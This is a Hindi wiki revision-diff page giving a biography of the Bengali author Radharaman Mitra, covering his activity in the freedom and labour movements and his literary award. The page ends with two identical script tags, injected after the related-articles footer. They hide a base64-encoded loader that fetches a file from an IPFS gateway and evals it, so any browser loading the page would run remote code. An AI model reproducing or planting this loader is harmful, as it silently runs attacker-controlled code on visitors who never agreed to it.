राधारमण मित्र: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
(''''राधारमण मित्र''' (अंग्रेज़ी: ''Radharaman Mitra'', जन्म- 23 फ़रवर...' के साथ नया पृष्ठ बनाया) |
No edit summary |
||
Line 3: | Line 3: | ||
*बांग्ला लेखक राधारमण मित्र का जन्म आज़ादी से पूर्व अविभाजित बंगाल में 23 फ़रवरी सन 1897 को हुआ था। | *बांग्ला लेखक राधारमण मित्र का जन्म आज़ादी से पूर्व अविभाजित बंगाल में 23 फ़रवरी सन 1897 को हुआ था। | ||
*[[कलकत्ता विश्वविद्यालय]] में एम. ए. की पढ़ाई के दौरान राधारमण मित्र [[असहयोग आंदोलन]] में शामिल हो गए। | *[[कलकत्ता विश्वविद्यालय]] में एम. ए. की पढ़ाई के दौरान राधारमण मित्र [[असहयोग आंदोलन]] में शामिल हो गए। | ||
*वह गांधीवाद के समर्थन में लोगों को संगठित करने के लिए अपने मित्र एक अन्य क्रांतिकारी बंकिम मुखर्जी के साथ इटावा गए। | *वह गांधीवाद के समर्थन में लोगों को संगठित करने के लिए अपने मित्र एक अन्य क्रांतिकारी [[बंकिम मुखर्जी]] के साथ इटावा गए। | ||
*सन [[1921]] में उन्हें गिरफ्तार कर लिया गया और एक साल के लिए नैनी जेल में कैद कर दिया गया। रिहाई के बाद राधारमण मित्र व्यक्तिगत रूप से [[साबरमती आश्रम]] में [[महात्मा गांधी]] से मिले और उनके साथ लगातार तीन साल काम किया। | *सन [[1921]] में उन्हें गिरफ्तार कर लिया गया और एक साल के लिए नैनी जेल में कैद कर दिया गया। रिहाई के बाद राधारमण मित्र व्यक्तिगत रूप से [[साबरमती आश्रम]] में [[महात्मा गांधी]] से मिले और उनके साथ लगातार तीन साल काम किया। | ||
*सन [[1927]] में उन्होंने [[कोलकाता]] के एक स्कूल में अध्यापन के दौरान 'कोलकाता कॉर्पोरेशन टीचर्स एसोसिएशन' की स्थापना की। | *सन [[1927]] में उन्होंने [[कोलकाता]] के एक स्कूल में अध्यापन के दौरान 'कोलकाता कॉर्पोरेशन टीचर्स एसोसिएशन' की स्थापना की। |
Latest revision as of 06:20, 9 October 2022
राधारमण मित्र (अंग्रेज़ी: Radharaman Mitra, जन्म- 23 फ़रवरी, 1897; मृत्यु- 7 फ़रवरी, 1992) बंगाली भाषा के विख्यात साहित्यकार थे। वर्ष 1981 में उन्हें साहित्य अकादमी पुरस्कार से सम्मानित किया गया था। राधारमण मित्र को यह पुरस्कार उनकी रचना 'कलिकाता दर्पण, खंड एक' (स्थानीय इतिहास और संस्कृति) के लिये दिया गया था।
- बांग्ला लेखक राधारमण मित्र का जन्म आज़ादी से पूर्व अविभाजित बंगाल में 23 फ़रवरी सन 1897 को हुआ था।
- कलकत्ता विश्वविद्यालय में एम. ए. की पढ़ाई के दौरान राधारमण मित्र असहयोग आंदोलन में शामिल हो गए।
- वह गांधीवाद के समर्थन में लोगों को संगठित करने के लिए अपने मित्र एक अन्य क्रांतिकारी बंकिम मुखर्जी के साथ इटावा गए।
- सन 1921 में उन्हें गिरफ्तार कर लिया गया और एक साल के लिए नैनी जेल में कैद कर दिया गया। रिहाई के बाद राधारमण मित्र व्यक्तिगत रूप से साबरमती आश्रम में महात्मा गांधी से मिले और उनके साथ लगातार तीन साल काम किया।
- सन 1927 में उन्होंने कोलकाता के एक स्कूल में अध्यापन के दौरान 'कोलकाता कॉर्पोरेशन टीचर्स एसोसिएशन' की स्थापना की।
- इसके बाद उन्होंने ट्रेड यूनियन आंदोलनों में भाग लिया, पश्चिम बंगाल के विभिन्न क्षेत्रों में श्रमिक संगठन का निर्माण किया।
- पुलिस ने मेरठ षडयंत्र मामले में राधारमण मित्र को फिर से गिरफ्तार कर लिया था, लेकिन इलाहाबाद उच्च न्यायालय के आदेश से उन्हें रिहा कर दिया गया।
- सन 1943-1944 में राधारमण मित्र भारतीय कम्युनिस्ट पार्टी में शामिल हो गए। वह अपने मार्क्सवादी बौद्धिकता, साहित्यिक कार्यों और कलकत्ता महानगर के इतिहास के बारे में विशाल ज्ञान के लिए लोकप्रिय थे।
- वह 1941 में स्थापित 'भारत सोवियत सुह्रिद समिति' के सदस्य भी थे।
- राधारमण मित्र ने 1951 से सक्रिय राजनीति से इस्तीफा दे दिया था।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>